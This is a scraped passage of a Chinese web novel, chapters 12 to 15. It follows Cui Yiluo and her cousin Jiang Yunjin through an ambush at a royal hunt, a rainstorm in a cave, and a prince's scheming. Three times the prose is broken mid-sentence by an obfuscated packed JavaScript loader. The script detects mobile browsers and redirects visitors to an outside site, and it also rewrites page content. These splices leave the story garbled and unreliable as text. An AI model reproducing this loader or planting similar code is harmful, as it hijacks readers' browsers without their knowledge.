元凌灼灼盯着她的脸,崔宜萝抬眼和他对视,互不相让。 几息后,元凌扬唇笑了一声,“回京后,派人送到元府。” 这是同意了,崔宜萝暗暗松了口气,“希望元大人信守承诺。宫中有令,禁卫不可同人私下交易。我与元大人此番也算是互利互惠,各取所需。” 这话简直是明晃晃的威胁了,元凌意味深长地看着她:“利益关系才是最长久的。不是吗,崔姑娘?” 他拎着装着衣袍的紫檀木盒便要离去,脸色却倏地一顿,眼如鹰隼般攫住崔宜萝的眼,神情似笑非笑地: “你这是给我招了什么人来。” 12. 落灯花 他话音落下,崔宜萝感受到脚下土地被踏得微震。 怎么会这样,她分明…… 不远处黑衣人御马的身影忽现,他们皆蒙着面,露出的眼睛死死盯着崔宜萝。 元凌示意崔宜萝后退几步,利落地拔出腰间佩剑,迎了上去。 他顷刻与黑衣人交上手,来的黑衣人约有十人,元凌武力精湛,竟能滴水不漏地将想要攻向崔宜萝的人都防下。 前头未防被人察觉,她将马绑在了一里外以掩人耳目,元凌也默契地如此做了,以致现在她都不能骑马逃走。 耳边有破空声传来,银箭簇反射的日光刺得人眼一痛,崔宜萝下意识就要躲避,眼前倏然闪出个人影来,挥剑将箭矢劈作两半。 男人松形鹤骨,一身利落的银白绣竹纹骑服清晰勾勒出身形线条,护腕束紧,腕间露出平日掩在袖中,从不示人的墨玉串来。 崔宜萝怔了一瞬,“表哥。” 江昀谨居然来得这么快。虽说他派了人暗中保护,但未免来得也太快了。 她稍稍伸手,便抓住了他腰间的束带。 似是一种默契,他这回对她的触碰接受得很快,并不像之前那样僵硬,也不知是习惯了,还是早就料到了她会趁机对他动手动脚。 江昀谨带来的几人也加入战局,但显然那几人身手并不如元凌,格挡得有些吃力。 为首的黑衣人越过了元凌的防守,杀出重围,直冲崔宜萝而来。 江昀谨未握剑的手将崔宜萝护在身后,另一手转剑挡住杀招。 银光一闪,绳线断,打磨得光滑圆润的墨玉登时如冲出束缚般,颗颗滚落到地上。 崔宜萝下意识抓住其中一颗。 眼前的男人似乎也顿了一瞬,但在下一刻,便毫不收劲地挥开了刀剑,电光石火间,他一剑抵上了敌人的喉咙,如握墨笔行云流水地一划,鲜血喷溅。 崔宜萝被他挡在身后,几滴血珠仍不可避免地溅上了脸颊。 湿热的。 崔宜萝收紧了手中握着的珠子。 她从来没见过江昀谨如此狠厉的模样,上回他一人抵御,也只是防守姿态,今日却不管不顾,直接下了杀招。 素来沉稳守礼的君子杀了人。 一声巨响在天空中炸开,金色的祥云图案几乎与暮色融在一处。 是云翊卫的召集信号。 被江昀谨的人和元凌挡下的黑衣人也是各有负伤,见元凌发了信号,连忙抢马逃了。 地上仅余几人尸体,还有一地鲜血。 四周静下,江昀谨一动未动,气息粗重,微垂着脸,不知道是在看地面,还是那散了一地的手串。 崔宜萝走到他面前。 他银白的衣袍沾了不少血,就连袍脚都沾了零星血滴,而如高山雪般俊美无俦的面庞,也沾上了飞溅的血珠,像是白玉染上了污秽。 但他面沉如水,像是丝毫不觉。剑眉沉沉压下,墨黑的眼眸显得更加幽深冷寒,眼底死死压抑着一股冲动,转眼一错不错地盯着崔宜萝。 崔宜萝将刚才下意识接住的那粒珠子收好,又抽出了袖中的绣帕,轻轻按在他的面颊上。 白色的锦绸一角绣了鹅黄的连翘,顷刻被鲜红沾染。 男人垂下的长睫轻轻一颤,出奇地没有避开。 崔宜萝擦得认真,盯着血污擦得干干净净,露出了原本白玉无瑕的面庞来。 整个过程江昀谨只是微垂眼睫盯着她,既没有呵斥她,也没有伸手阻拦,静默看着她用自己的绣帕将他的脸一点点擦净。 直到崔宜萝手往下,要去擦拭他的脖间,他才抬手抓住了她的手腕。 原本带着墨玉串的腕间空空,他喉结滚动,薄唇微启:“别擦了。” 崔宜萝抬眼和他对视,准备抽回手腕。 他修长细瘦的指节却把她的手腕收紧了。 “表哥?” 他复又松开手,抽走了那条锦帕。 锦帕触上崔宜萝脸颊的那一瞬,她身体僵住,惊讶地看着男人垂着眼,力道不轻不重地把她的脸颊擦拭干净,就像她刚刚做的那样。 崔宜萝脸上溅的血珠很少,几不可量,不过两下便擦完了。 她下意识地去接锦帕,却见他手腕一转。 “脏了,洗净后还你。” 他声音变得凝涩,将染了血污的锦帕收进了暗袋。 崔宜萝顿住。 “崔姑娘。”身侧忽然传来元凌的声音。 元凌捡起在打斗中翻散开的紫檀木盒,以及落在沙土地上的他的玄色外袍,随意装回了木盒,盖上盒盖。 “我的外袍又脏了,劳烦你再帮我洗净。” 他走近几步把紫檀木盒递给她,崔宜萝伸手接过时,听到他压低的声音。 “顺便把东西一起给我。” 崔宜萝递给他一个眼神,表示知道了。 元凌忽地牵唇笑开了,曜黑的眼珠闪着光亮,转脸看向江昀谨。 “江令公,这刺客来得蹊跷,恐危及圣上安稳,先失陪了。” 云翊卫的人也在此时赶来。 江昀谨的神色晦暗不明,只道:“元指挥使多礼了。” 元凌脸色闪出些许玩味来,应下后便带着刚赶来的云翊卫围绕此处查探。 人群散了开来,江昀谨转向崔宜萝,“我送你。” “等等。” 江昀谨一顿。 只见崔宜萝忽地蹲了下去,将四散在地上的墨玉珠捡了起来,浓墨般的墨玉聚在她的手心,更衬得她肤若凝脂。 江昀谨还未回过神,眼前蓦然伸来两只手,个个圆润的墨玉珠被双手拢住,她的袖子微微上移,露出一截皓腕来。 她捧着珠子,好看的眼睛却比手中的墨玉还要明亮,“表哥,你的手串。” 江昀谨盯着那散开的珠串,听崔宜萝继续道:“这对你很重要吧,我帮你捡好了,你别不开心了。” 墨玉温稳,君子润泽。他八岁时,父亲得了上好的玉料,亲手打了给他。就是要他习君子之仪,守礼义之道。贪嗔痴,皆为妄念。他是否成才,是父母亲眼里最重要的事。即便是祖母,也从没问过他是否开心。 见他沉默,崔宜萝捧着珠子的双手又往前递了递。 江昀谨抬起眼来,崔宜萝看不懂他的神情,他眼中积聚的浓雾不知何时散开了,将要消散的日光重新照进他曜黑的眼眸中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362324|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他垂在身侧的手抬起,要将珠子接过。 崔宜萝倏地收紧了手掌。 她扬起唇,露出的皓齿粲烂,明眸里闪露一丝轻灵,“表哥的手串是因我而断,哪有表哥自个串的道理?于礼我也该串好了给表哥,方才是我粗心了。” 江昀谨抿了抿唇,没有说话,任她将零散的珠子装进荷包中。 崔宜萝继续道:“表哥,我的马在一里外,我们过去吧?” “嗯。” 江昀谨低声吩咐了他的属下几句,那几个属下领命离开,他才抬步往外走。 天已略微擦黑,林中更显昏暗,二人走了一里路,终于到了崔宜萝栓马的地方。 崔宜萝将绑在树上的缰绳解开,翻身上马。江昀谨本就是骑着马而来,但方才只有一匹马,他便牵着马徒步,眼下也利落地上了马。 崔宜萝走在前头,他骑着马落后一步。 两人还是没有说话。 崔宜萝不是没有察觉到江昀谨的沉默。虽他平日里不爱说话,即便开口也是惜字如金,但眼下却不同往日。 她又想起刚刚他狠厉的杀招,还有杀完人后隐隐压抑的神情。 一道闪电猛然劈开墨蓝的天空,雷声炸响,林中霎时间亮如白昼,紧随其后的,豆大的雨点滴滴落了下来。 崔宜萝的雪青骑装顷刻洇出朵朵水痕,绚丽地绽了开来。 “表哥,落雨了,我们快些回去……” 还未说完,江昀谨忽然开口:“前面有个山洞,先避上一阵吧。” 此处离营帐少说还有一刻钟脚程,冒雨赶回定会被大雨浇透,有山洞躲避自然比冒雨赶回强。 由江昀谨带路,不出多时,崔宜萝便找到了他口中所说的山洞。 进山洞时,二人衣裳已是半湿。 洞中摆了几颗大石,正中还有数条枯枝组成堆,有生火的痕迹,一旁还丢着一块火石,看来越山上看管做活的宫人们也在此躲过雨。 江昀谨已迅速用火石开始生火。 崔宜萝则握紧了腰间的匕首,往洞中更深处走。 这山洞不小,有人藏在洞中间隙也并非不可能,不查探清楚她不能安心。 这山洞内里九曲十八弯,藏着好几个石缝,崔宜萝一一查探,最里的石缝内里幽深,她费了好一番功夫。 待她回来时,江昀谨已生好了火。 他坐在大石上,火光照得他英挺的一张脸忽明忽暗,银白骑装上的高洁翠竹被飞溅鲜血浸染,比火刺目,他一向喜洁,却连粗略处理都没有,只是盯着燃烧的火焰,不知在想什么。 崔宜萝在他对面的大石上坐下,手支在膝上托着腮看他,笑容灵动地问:“表哥,你来过这儿?” “以前狩猎时发现的。” 崔宜萝拉长了尾音“哦”了一声,突然话锋一转问道:“那表哥之前也和别的小娘子在洞中躲过雨?” “没有。” 崔宜萝眼睛微弯地笑起来:“那表哥只和我躲过雨?” 一道风夹带着雨丝吹进洞中,树枝堆生起的火猛地跳了一下。江昀谨抬起眼,眼里的火焰透过细长的黑睫倒映在崔宜萝眼里。 “是,只有你。” 13. 梧桐雨 洞外的风吹得火焰不成规律地跳动。 他这么直截了当地承认倒让崔宜萝愣住,但一瞬后又转而笑起来,腮若粉桃,像是羞赧的:“我也只和表哥一人在洞中躲过雨。” 江昀谨一怔:“你之前没同旁人躲过雨?” 崔宜萝双眼在半明半暗中亮晶晶的,看上去无比真诚:“没有,今日和表哥你是头一回。” 江昀谨透过簇簇火焰看着她的脸,惯常地不答,眼底渐渐发沉。 又不高兴了。崔宜萝压着心中的得趣,面上熟练地对他扬起一个娇柔标准的笑。 只和他躲过雨?当然不是。 十二岁那年,她曾和一个少年在洞中躲过雨。 崔宜萝不会告诉任何人,因为那是她活至今日最狼狈凄惨的一日,即便说出来可以博取同情。 况且当时天黑,又是荒郊野外,更不似今日洞中有枯枝,亦无火石。她和那个少年到最后都没看清对方样貌,今日就算面对面,对方也认不出她。 这件事不会有任何人知道。 几点雨丝被风裹挟进洞,崔宜萝有一瞬恍惚飘回了那天的雨幕里。 盛春踏青,连翘开到极致,漫山遍野都覆上了鹅黄。 踏青时,幼弟故意踩坏了她编好的花环,她只好去不远处又折了只连翘。 回来时,原地空无一人。 继母姚氏之所以把她丢在山野外,不过因为崔宜萝偷偷塞钱给古琴师傅,求她认真教她。古琴师傅听了继母的吩咐,只做做样子给外人看,并不教真才实学。但见崔宜萝实在可怜,又拿出了一笔积蓄,这才同意。 那日她在昏暗山野中不辨方向,耳边狼嚎阵阵,头顶暴雨如注,举步维艰之时发现了个山洞,碰到了同在洞中避雨的那个少年。 他教会了她很多,他告诉她,其实姚氏这么做并不是完全想要她死,断手断脚,被人掳走,即便是最简单的吃些苦头,都能让她一出心中恶气。而她父亲对她不闻不问,直接助长姚氏气焰,可见其为人冷漠又懦弱。 而她回去后只需作势要闹大此事,姚氏为了自己经营多年的美名定会妥协,她还可以借此拿回亡母名下为数不多的几间铺子。 那几间铺子后来成了崔宜萝大部分的钱财来源。 虽然她也拉了他一把,他们都是泥足深陷的人。他那时已磨灭了生的意志,原打算找个广阔开朗之处赴死。 夜色昏暗,他把她送到山脚,她再三确认他不会自尽后便走了,直到最后也没看清他的脸。 只把别在发间,被雨打湿的连翘花送给了他。 连翘,是希望,新生,坚韧,是历经严冬仍肆意绽放的生命。 不过虽经历了这么一遭,她却不想再见到那个少年。他们互相知道对方的秘密,不适合再遇见。 枯枝燃烧的细微噼啪声在幽静山洞格外清晰,崔宜萝被拉回思绪。 对面的男人依旧一言不发,火苗在他半垂的墨眸中晃动,薄薄的眼皮盖住了眼中情绪,让人无法窥见。 清贵世家教养出来的郎君即便坐在石上,身姿也依旧挺拔。崔宜萝却有一瞬莫名地品出了几分寂寥和失落。 忆起旧事,崔宜萝心头也变得沉重,也没有心情再撩拨他。 洞中又陷入沉寂,只余洞外风声阵阵。 崔宜萝半湿的骑装已被炽热的火堆烤得半干,她走到洞口处,见外面的雨势已经小了,只余雨丝在空中飘。 “表哥,可以走了。” 江昀谨睨了一眼洞外,嗯了一声便站起身来。 下山的路上,江昀谨一直心不在焉,甚至差点踩到坑洼处。崔宜萝悄悄多看了他几眼。 也难怪他恍神到现在。他一向为端方君子,之前只不过是将贼人伤了以击退他们,今日却一击毙命。 因为恍然,才会破天荒地默许她为他擦脸,待神智回笼,依旧恨不得离她三尺远。 天已黑透,凭着皎洁月光照明,崎岖山路蜿蜒向下处,崔宜萝辨出前方就是他们栓马的地方了。 她脚步不由得快了些,倏然手臂一紧。 她被江昀谨一把拉进了旁边草丛。 他动作很急,她还没反应过来便被拉着蹲下,脚步一个踉跄,径直撞进了男人怀中,她下意识绷直身体维持平衡,又突然放松倒下,顺着势将脸微微一转。 柔软的朱唇轻轻擦过男人冷毅的侧脸,一触即分。 宁静林中的一道气息骤乱,扶着她的手直接顿住了好几息,才回过神托住她身体,将她扶稳蹲好。 绿草上沾了不少雨水,他们动作虽轻,仍晃动几滴雨水落下,清泠泠地顺着女子雪白的颈子滚进了衣襟深处,崔宜萝忍不住颤了一下,腰间扶着的有力的大掌立刻触电般地握紧纤细腰肢,但下一瞬迅速收了回去。 崔宜萝无辜地轻抬眼睫,面前男人在淡凉月色下更显周身气质清凌,但他微乱的气息却打破了这一切的表象。 她以口型道:“真是对不住呀,表哥。” 似乎气极,江昀谨狭长的眼垂着不看她,薄唇抿成锐利的一条,并不搭理她。 亲一下,能气成这样。他此刻显然不同于她为他擦脸时的恍惚,看来是缓过神来了,不过气极的样子依旧有趣。 她刚想乘胜追击,他却像能听到她内心想法,薄唇轻启,无声吐出两个字:有人。 刚说完,草丛外就传来一阵马蹄轻响,听着约有十余个人,停在了崔宜萝二人蹲着的草丛外。 崔宜萝立刻屏住呼吸。 紧接着,一道阴寒的男声响起:“人杀干净了吗?” 如一条乌黑毒蛇,顺着脚踝缓缓爬上后背。 崔宜萝微微侧过头,想透过细小的缝隙往外看,视线却被草丛挡了个九成九。 越山的林子不似宫中有专人修剪,草丛肆意生长,生得又高又密,外头人虽看不见崔宜萝二人,但崔宜萝也别想看见外头。 草丛外人声继续响起:“禀统领,除了还有用的,其他办事不力的都处理干净了,眼珠也摘出来给赤奴备下了。” “人呢?跟丢了?” 下属的声音忐忑得如锈了的石磨:“属、属下方才真的看到她和江令公往此处走了,可不知为何只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着就要抬起手触上他的脸,却碰到他的前一刻,被他敏捷地侧身避开。 他目光彻底沉下,蕴起无数阴云。 “我已说过多次,你不该再这样了。” 声色低沉隐隐袭来威压。 崔宜萝却似不觉,仰起头问:“表哥为何会觉得我是有意亲你?” 江昀谨神色一顿,随后眉心紧紧皱了起来。 许是未想到她如此直白,倒像是他自作多情。 她追问:“表哥?” 他漆黑的剑眉压下,眼神凌厉地看着她。 “表妹,你最好不要一次次试探我的底线。” 等事一了,他就不该再和她有多余的任何纠葛,一丝都不该有。 他越过她大步离开。 手指轻而易举寻到她刚刚亲过的地方一抹,他轻轻摩挲,浅浅的红瞬间化于指腹。 他带起的厉风吹起崔宜萝的发丝,悄悄地划过如蝶翼般的眼睫又轻轻落下。 把人逼急了,崔宜萝却无声轻笑,像是终于忍不住一般。那双漂亮眼睛在黯淡的月色下闪映着星子,露出几分锋芒来。 可是表哥,该不该的,不是你说了算的。 14. 山泼黛 崔宜萝抬步跟上他的步伐。 她忽而软了态度,声音绵软清甜:“表哥,你莫恼了,我日后定然小心。” 江昀谨面上并未和缓半分,看不出信不信。 崔宜萝咬了咬唇,有几分失落:“表哥是打算不再同我说话了吗?” 身旁的男人微怔,语气染上一丝几不可察的无奈:“没有。” 崔宜萝对他欣喜地笑:“那便好,我只担心表哥要不理我了呢。” “表哥,我会为你保守秘密的。” 江昀谨猝然抬眸。 见他讶然,崔宜萝像从中得了趣,嘴角扬起俏皮又灵动的幅度,神情却端得一派纯真无辜:“就是表哥身后之人呀,那人不是陛下,不是么?” 江昀谨目光骤然变得复杂。 迎着他幽邃的眼神,她轻声道:“不过表哥放心,此事便当作我们之间的秘密,只有你我二人知晓。” 树影婆娑,月光被隔绝在外,空气凝涩地在二人之间流转。 崔宜萝眼睫轻眨:“表哥,你这样盯着我,会让我心神不宁,方才表哥可还让我守好规矩,如今这样又是什么意思?” 江昀谨迅即挪开眼,低声道:“失礼。” 崔宜萝唇角难以抑制地轻勾,垂下眼掩住眼中升起的愉悦。 绵绵细雨轻柔划在二人面上、身上,在微微白雾中,忽见有十几个身影越过白雾—— “表妹!大哥!” 江昭月的声音自不远处随细雨飘来。 茫茫黑夜中,兰蕙一家四口带着几个仆从御马而来。几道火苗跳动着将黑暗驱散,光亮随着人影的靠近越来越大。 崔宜萝不动声色地松了口气。 见到崔宜萝,兰蕙更加焦急地一夹马腹,没几刻就奔到了崔宜萝身前。 兰蕙利落翻下马来,直接冲上前将崔宜萝仔仔细细地检查了一遍。 “吓死我了,元指挥使说林子里出了刺客,慎之护送你先走了,但是我和你姨父在营帐左等右等都未等到你,还以为你又出了什么事!” 兰蕙说到最后开始哽咽:“都是姨母的错。” 崔宜萝心里发酸,以为兰蕙是因带她出来致她碰上刺客而自责,忙安慰道:“姨母,您言重了。只是中途下了雨,我和表哥避了雨这才耽误了时辰。” 说着转眸看向江昀谨,含着秋水的一双眼睛满是恳求。 但几乎是崔宜萝刚递来眼神,他就别过眼避开了对视,动作果断。 这是不肯帮她了。 面对兰蕙愧疚的神情,崔宜萝心里不忍,毕竟这个世上只有兰蕙是真心实意对她好的。在崔宜萝眼里,她唯一的血亲只有兰蕙。 她正要开口再安慰,却听身旁男人低低嗯了声,声线如山间清泉凌凌流过:“表妹所言属实,婶母不必担心。” 崔宜萝双眼弯如映在江水里的月牙,对他无声地道:谢谢表哥。 不出所料的,江昀谨没理她。 这时身后几人也跟了上来,仆从举着火把,瞬时将这一小块地方照得通明。 江昀谨衣裳是素洁的白,火光一照,衣裳正面溅上的鲜血就更加刺目。江明训见大哥衣裳上全是血,惊声道:“大哥,你和刺客交手了?” 姨父江闻转眼一看,也是惊呼出声,“慎之,你……” 在众人眼中,江昀谨从小知礼懂事,长大后更是惊才绝艳,光风霁月,如白玉一般无暇。江闻几人不是不知道他练武,但真正见到他杀人沾了血的样子,还是惊吓难掩,仿佛犯下了欺师灭祖的大罪。 江昀谨眼底暗沉,轻轻嗯了一声,并不打算和江闻几人解释。 他根本不在意别人怎么看他,但这事若传到祖母耳里,他免不了一场麻烦。 想到此处,江昀谨锋利的剑眉拧了起来,脸色变得凝重。 江闻几人见他这副神情,如雨冰在身上,一激灵缓过神来。 江昀谨除了是他们的亲人,更是圣上器重,年纪轻轻便升任中书令的权臣,掌生杀之柄,如今亲手杀个人又如何? 他们那些话,是以下犯上。 江闻胆战心惊地扯起笑想转圜此事,一道清灵的女声乍响: “表哥大义,正巧经过,碰见刺客要伤我,这才反击。刀剑无眼,死伤在所难免,没有误伤无辜才是最重要的。” 话音落下,在场几人都愣住了,江昭月最喜怒形于色,惊讶地瞪大了双眼。 似乎都没想到一向性情温和的崔宜萝会帮人辩白,说出如此犀利之语。非但没有刻意隐瞒江昀谨杀人的事,还直截了当地认可,是除恶之义举。 江昀谨微侧过脸看向崔宜萝,眼神幽深而晦涩,立挺的侧脸在摇晃的火苗下忽明忽暗。 崔宜萝余光察觉到他看过来,也转脸看向他,清清浅浅的笑意中又有温和的抚慰,又有细微的得意,但这样矛盾的两种神情在她脸上却融合得灵动轻妙。 林子间乍然鸦雀无声,只闻细雨轻打绿叶。还是兰蕙最先反应过来,堆笑道:“慎之,这回多亏你了。婶母回去定要好生谢过你。” 江昀谨脸色并没有因兰蕙几人的态度而缓和,只是微微颔首表示应答。 “对了表妹,你不是说要去溪边捕鱼吗,怎么来了候檎林?” 江昭月疑惑地问。 崔宜萝面色看不出一丝异样,声调平静地解释:“我本是要去的,可听说元指挥使午后会去候檎林,上次荷花宴他借给我的外袍还未还,便想着趁此机会还给他。” 说罢,她悄悄转眸看向江昀谨,他心思敏锐,她的话或许能骗过江昭月,骗过兰蕙,但却不一定能骗过他。 但见男人神色淡淡,眼神都未在她们身上停过一瞬,看上去根本没在听她们说话。 兰蕙神色变得有几分凝重:“宜萝,程员外郎可曾给你递过信?” 崔宜萝露出几分恰到好处的疑惑来:“程员外郎之前的确想约我见面,但我与他私下见面不合规矩,便拒绝了。只是他似乎格外坚持,也不知为何……对了,姨母为何突然问起此事?” “他今日在溪边被猛兽所伤,险些殒命,幸好遇上禁军巡逻。” 崔宜萝下意识道:“什么?” 兰蕙说着染上几分愠怒,“他说是与你有约才去的溪边,分明是想将此意外赖在你身上!” 崔宜萝无辜又无措道:“姨母,我并未约过他。” “姨母相信你。” 兰蕙宽慰地拍了拍崔宜萝的手,但面色仍是铁青。 一想到崔宜萝要嫁给祖父年纪的老叟,眼下还未过门,继子就对她虎视眈眈,兰蕙就又气又难过,程义已是四十出头,崔宜萝尚才十八,如何斗得过? 江昭月在旁道:“依我看,这程员外郎是听说了表妹你要去溪边,这才跟了过去,结果反而遇上了猛兽。不过表妹你也不必担心,云翊卫已查明,你根本就未给他递过信。他也真是的,这么站不住脚的谎话也说得出口。” 江昭月絮絮叨叨地为崔宜萝抱起不平来,但崔宜萝却一个字也听不进去了。 那人明明知道她去的是候檎林,否则就不可能派影卫过来。 可既然知道溪边是她设的一个圈套,怎会还放猛兽去溪边? - 猛兽和刺客两件事同时发生,迅速传开了,一时间风声鹤唳。但众人只知是元凌打猎时遇上刺客,崔宜萝与江昀谨在其中全然隐去身影,不知是元凌下的令,还是江昀谨下的。 营地进入戒备状态,皇帝怒不可遏,兴致全消了,下令明日便启程回京,让云翊卫留下查明。 令初下,宫人们立刻忙起来收拾行囊,禁军亦加强巡逻,繁忙的动静直到夜深才勉强停下。 夜深人静间,只闻风打树叶声。 一座华丽贵气的营帐外,营帐上绣着的蟒纹在夜中仍旧威风凛凛,帐外重兵把守,内里灯火通明。 一黑衣男子走近,在帐门外跪了下来。 “碎凛求见殿下。” “进来。” 黑衣男子立刻掀了帐帘进去。 只见帐内摆设更加华贵,营帐占地很大,内里却丝毫不觉空旷。 “殿下,那群废物都杀了,眼珠已浸好送回宫了,应当还赶得及叫赤奴服用。” 倚在红木榻上的男子正玩弄着一只白兔,瘦削的手指冷白得几乎没有血色,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362326|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下没一下地抚在它柔软的后颈处,脸上笑容狠戾又玩味。 碎凛看着,忽记起他玩弄赤奴的情景。赤奴,蛇有剧毒,因通体赤红而得名。 似乎是察觉到下属的目光在白兔上多停留了几瞬,男人慢条斯理地勾唇道:“放心,这兔子是给妹妹的,不杀。” 碎凛忙低头跪下:“属下不敢。” 萧铮轻笑一声:“人都安全回到营帐了吧。碎凛,你明知这次放过了她,回京后本宫就更难动手了。不仅如此,若是被萧靖的人借题发挥,到时候父皇被逼无奈,舍弃本宫选择弟弟,本宫真是无葬身之地了呀。” 二皇子萧靖,皇后顾氏所出,性子温和宽厚,拥戴立其为储的呼声不小,顾家和琼贵妃身后的楚家一直以来在朝中平分秋色,就连萧靖和萧铮也是势均力敌。 而萧铮之下,还有个一母同胞的幼弟七皇子,若萧铮败了,楚家就会立刻转而扶持七皇子。 碎凛深明主子前有狼后有虎的处境,劝慰道:“殿下,七殿下还年幼,怎能同正值盛年的殿下比?” “只要是母妃生的,父皇都会当个眼珠子护着,有什么区别?” 萧铮满脸狠戾,泄愤地抓着兔子的后颈丢开,缓缓踱步到跪在地上的碎凛面前。 语调缓慢而玩味:“碎凛,你怎么还发抖呢?未免将本宫想得太坏了,你今日办成了另一桩事,本宫怎么会杀了你呢?” 一直低着头的碎凛惊讶地抬头,随后反应过来萧铮所说的另一桩事是什么,“多谢殿下。” “怎么?看你的反应,似乎不明白本宫为什么要这么做。” 碎凛只低着头顺从地说:“殿下自有殿下的理由,属下岂敢置喙。” 萧铮又慢慢走回榻边,轻而易举地将正欲逃走的兔子抓了起来,自顾自地道:“哼,程家算什么东西,下贱之人分不清自己几斤几两。既然她想要借我们的手,索性顺手也费不了什么功夫。崔宜萝居然会被这种窝囊废踩到头上来,真是丢脸。” 说罢,萧铮又一把丢开了那只白兔,眼神如视蝼蚁。 碎凛低着脸,语气犹豫:“但是这样,陛下会不会察觉?” 萧铮轻笑出声,似乎听到了极为有趣的事,“你可真是太小看我父皇了。他早就知道了,不然你以为她为什么会来夏狩?” 碎凛神色讶异。 就在这时,帐外突然响起一道男声:“表弟,睡下了吗?” 萧铮脸上扬起一阵烦躁,给碎凛使了个眼色,碎凛正要去解决了那人,忽见萧铮又抬起手,忙顿了动作。 “进来吧。” 一个穿着华服,头戴张扬金冠的男人闯了进来,手中还拎着一壶酒,“表弟你没睡就好了,对了,表哥最近出了些麻烦,想求表弟帮帮忙。” 萧铮靠在榻上,不耐地颔首,示意他说下去。 楚恪满脸都是讨好地笑,开口道来:“哎,不就是我和谢家那庶女的事吗?我应承了姑母要和她断了,但这几日她一直偷偷给我递信,你也知道你表哥这个人重情义,实在是不忍娇滴滴的小娘子伤心。这不就想求表弟帮我在姑母面前说道说道。” “那庶女有什么好?”萧铮嗤笑:“用心不纯的庶女,也值得你这么费心?表哥出身楚家,身份高贵,又英俊潇洒,自该有更好的佳人相配。” 楚恪脸上露出期待:“哦?听表弟的意思,是为我物色了美人?” 萧铮意味深长地笑道:“你昨日不是也见到了?就江二夫人的那个外甥女,姓崔。” 楚恪顷刻记了起来,只要见过那美人,便不可能忘记。他表情露出些惋惜:“可那崔姑娘不是有未婚夫婿了么?” 萧铮拨弄着兔子走上前来,声音低沉得似在蛊惑:“表哥,你可是楚家的嫡长子,区区六品国子监监丞,也敢和你比?还不是表哥一声令下,他就乖乖地把人奉上来。” 此言一出,楚恪果然按捺不住:“那我回京后就把那监丞叫来。” “诶——”萧铮伸臂拦了一下,“话虽如此说,但表哥为了一个卑贱的小官之女亲自出面要人,未免有失身份。” “依本宫看,表哥倒不如从这崔宜萝身上下手。” 15. 月斜窗 “姑娘,程监丞来了,正在花厅候着。” 从越山回来不过一日,程奉就找上门来了。 荔兰声音低了些:“可要做些其他准备?” 洁白如雪的栀子花旁,身着藕荷绣牡丹纹长裙的女子手执一把金色小剪,轻轻“咔擦”一声,如白玉的花顷刻失了生命,连带着叶在地上咕噜转了一圈,停在了女子精致的云头履旁。 纤细手臂上披着的云水蓝披帛将女子昳丽的脸衬出几缕冷色来。 “不必。” 程奉会来,崔宜萝并不意外。程义被野兽咬伤,在程奉面前定会道出是因和她有约,才遇上猛兽。 放了猛兽,却没一击即中把人杀死,徒留祸患无穷。旁人会相信她,但是程奉怎会不信自己亲儿子?以程奉的为人,如果今日不能一举毁了这门亲事,成亲之后程奉一定不会放过她,定要将她磋磨至死。 真到这个地步,她就只能—— 崔宜萝没再想下去,抬步往花厅走。 花厅坐落在江府的东侧,纷红骇绿,绿竹与蔷薇拥簇覆下大片阴影。宽敞的回廊涌进风来,檐下挂着的八角紫檀彩绘花鸟宫灯被夏日的轻风微摇。因客人到访,下人搬了青花瓷松石纹冰缸到厅内,丝丝冰气缠绕而上,更令人觉出几缕阴寒。 “见过监丞。” 崔宜萝缓缓款步而来,面色淡淡,语气平静,仿佛只是见一位寻常客人。 程奉已在此坐了有一阵了,本就烦躁的心情愈加燥动,但在见到崔宜萝姣美的容貌的那一刻,他还是忍不住看痴了,如有春风拂过。 可下一刻,他又察觉出美人脸上的冷淡,脑中瞬间想起了差点被野兽吃了的儿子,他出门前还躺在床上无法起身。 被茶烫过的皮肉也隐隐灼痛起来,那道滚烫的茶柱令他修养了大半个月,甚至还起了几日泡,且还伤了那处!直至今日,他都没能和美人亲热一番。 这让程奉比死了还难受。 程奉的嘴角又垂拉了下去,脸上皱纹被牵动更像枯树皮了,布满干枯耷拉的脸颊。 起先对于儿子对崔宜萝的质疑,他并不太信,崔宜萝一个小地方来的女子,怎会有那样的本事和胆子?但儿子受伤后,他已是信了十成十,前仇旧恨一并算! 程奉冷哼一声,他这些日子被病痛折磨得足足瘦了一圈,本就松弛的眼皮更是压出深刻的褶皱,成了凶恶的三角状。 绘着青山翠竹的茶盏重重撂在紫檀木桌上,砰的一声脆响乍响花厅。 他本以为能看到崔宜萝惊慌又或是强撑镇定的模样,没想到崔宜萝连挂在头上的步摇都未晃一下,只淡然地看着他。 “监丞是烫伤未好,这才拿不稳茶盏?不若我唤下人来……” “别!” 程奉下意识惊叫出声后看到崔宜萝好整以暇的神态,立刻反应过来,自己分明是来羞辱她的,结果倒被对方轻松一招就炸出了底! 像是牛皮被针扎破泄了气。程奉登时更加怒火中烧,重重冷笑一声:“崔宜萝,先前看在婚约的份上,给了你几分面子,没想到你倒是胆大包天。” “监丞何意,我不明白。” 